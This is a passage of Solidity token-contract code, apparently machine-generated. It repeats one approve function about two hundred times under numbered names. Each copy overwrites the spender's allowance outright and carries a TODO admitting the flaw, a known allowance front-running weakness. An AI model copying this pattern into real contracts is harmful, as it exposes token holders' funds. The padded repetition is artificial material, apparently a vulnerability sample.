(bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_231(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_232(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_233(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_234(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_235(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_236(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_237(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_238(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_239(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_240(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_241(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_242(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_243(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_244(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_245(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_246(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_247(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_248(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_249(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_250(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_251(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_252(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_253(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_254(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_255(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_256(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_257(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_258(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_259(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_260(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_261(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_262(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_263(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_264(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_265(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_266(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_267(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_268(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_269(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_270(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_271(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_272(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_273(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_274(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_275(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_276(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_277(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_278(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_279(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_280(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_281(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_282(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_283(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_284(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_285(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_286(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_287(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_288(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_289(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_290(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_291(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_292(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_293(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_294(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_295(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_296(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_297(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_298(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_299(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_300(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_301(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_302(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_303(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_304(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_305(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_306(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_307(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_308(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_309(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_310(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_311(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_312(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_313(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_314(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_315(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_316(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_317(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_318(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_319(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_320(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_321(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_322(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_323(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_324(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_325(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_326(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_327(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_328(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_329(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_330(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_331(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_332(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_333(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_334(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_335(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_336(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_337(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_338(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_339(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_340(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_341(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_342(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_343(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_344(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_345(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_346(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_347(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_348(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_349(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_350(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_351(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_352(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_353(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_354(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_355(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_356(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_357(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_358(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_359(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_360(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_361(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_362(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_363(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_364(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_365(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_366(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_367(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_368(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_369(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_370(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_371(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_372(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_373(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_374(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_375(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_376(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_377(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_378(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_379(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_380(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_381(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_382(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_383(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_384(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_385(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_386(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_387(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_388(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_389(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_390(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_391(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_392(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_393(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_394(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_395(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_396(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_397(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_398(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_399(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_400(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_401(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_402(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_403(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_404(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_405(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_406(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_407(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_408(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_409(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_410(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_411(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_412(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_413(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_414(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_415(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_416(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_417(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_418(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_419(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_420(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_421(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_422(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_423(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_424(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_425(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_426(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_427(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_428(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_429(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_430(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_431(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_432(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_433(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_434(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_435(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; 